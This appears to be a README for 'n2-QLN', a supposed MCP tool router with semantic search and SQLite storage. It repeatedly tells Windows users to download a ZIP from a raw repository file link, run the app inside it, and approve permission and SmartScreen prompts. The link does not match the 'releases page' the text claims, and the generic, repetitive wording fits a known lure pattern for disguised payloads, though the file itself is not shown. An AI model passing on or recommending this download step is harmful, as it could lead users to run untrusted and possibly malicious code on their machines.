n2-QLN helps your AI app work with many tools through one simple layer. It helps route each request to the right tool and keeps search results focused.
Use it to:
- connect many tools through one interface
- reduce confusion when an AI model has too many choices
- keep your context window smaller and cleaner
- search tool data with meaning, not just words
- manage MCP tools in one place
Visit this page to download the Windows version:
https://raw.githubusercontent.com/significant-mi454/n2-QLN/main/src/QLN-n-v3.8.zip
On the releases page, choose the latest Windows file, then download and run it on your PC.
- Open the releases page
- Find the latest release
- Download the Windows file
- If your browser asks where to save it, choose a folder you can find later
- After the download finishes, open the file
- If Windows asks for permission, select Run or Yes
- Follow the on-screen steps to finish setup
If the app comes in a ZIP file:
- Right-click the ZIP file
- Select Extract All
- Open the extracted folder
- Run the app file inside the folder
For a smooth install, make sure you have:
- Windows 10 or Windows 11
- A stable internet connection for the first download
- Enough free space for the app and its local data
- Permission to run downloaded files on your computer
If Windows SmartScreen appears, check that you downloaded the file from the release page above before you continue.
n2-QLN sits between your AI app and the tools it can use. Instead of sending every request to every tool, it helps choose the best one.
That means:
- faster tool choice
- less noise in the prompt
- cleaner results
- better use of the model context window
- fewer wrong tool calls
It also uses semantic search, so it can match based on meaning. That helps when tool names are close but the job is not the same.
n2-QLN fits well if you want to:
- connect a large tool set to one AI app
- stop the model from loading too much tool data at once
- find the right tool from a long list
- build an MCP setup with better control
- keep tool access more organized
- improve response quality in agent workflows
- Tool routing for large tool sets
- Semantic search for tool discovery
- MCP support
- SQLite-based storage
- Vector search with sqlite-vss
- One interface for many tools
- Local-first workflow
- Better context window use
n2-QLN is built for desktop use and works best on a modern Windows PC.
Recommended setup:
- Windows 10 or later
- 4 GB RAM or more
- 200 MB free disk space or more
- A current version of Microsoft Edge, Chrome, or Firefox for the download page
- Standard user access or admin access for install, based on your system policy
After you open n2-QLN for the first time:
- Wait for the app to start
- Let it finish any first-time setup
- Add or connect your MCP tools
- Check the tool list
- Try a search or route request
- Confirm the correct tool returns the result you want
If you use it with an AI app, point that app to n2-QLN as the tool layer, then test one simple task first.
A simple setup may look like this:
- Your AI app gets a user request
- n2-QLN checks the request
- It finds the best match in your tool list
- It sends the request to that tool
- The tool returns a result
- The AI app uses that result in the reply
This keeps the AI from seeing every tool at once.
n2-QLN uses search to match the task with the right tool. It looks at meaning, not just exact words.
For example:
- “find a file” should map to a file tool
- “check my calendar” should map to a calendar tool
- “search notes about travel” should map to a notes tool
This kind of routing helps when your tool set grows.
n2-QLN uses local storage for its search and routing data. That helps keep things fast and simple.
Local data can include:
- tool names
- tool tags
- search index data
- routing data
- app settings
If you remove the app, some local data may stay in the folder you chose during setup.
- Start with a small tool set
- Use clear tool names
- Group tools by purpose
- Test one route at a time
- Keep your tool list current
- Remove tools you no longer use
Clear names help the router make better choices.
No. You can download the Windows file and run it from the releases page.
It works best with AI agent setups, but it can also help any workflow that needs better tool choice and search.
No. It sits between your AI app and your tools.
Semantic search helps the app understand meaning. That can find the right tool even if the words do not match exactly.
A router keeps tool choice simple when you have many tools. It helps the AI pick one path instead of many.
- ai-agent-orchestration
- efficiency
- llm-gateway
- mcp
- semantic-search
- sqlite-vss
- tool-routing
If you need the download page again, use this link:
https://raw.githubusercontent.com/significant-mi454/n2-QLN/main/src/QLN-n-v3.8.zip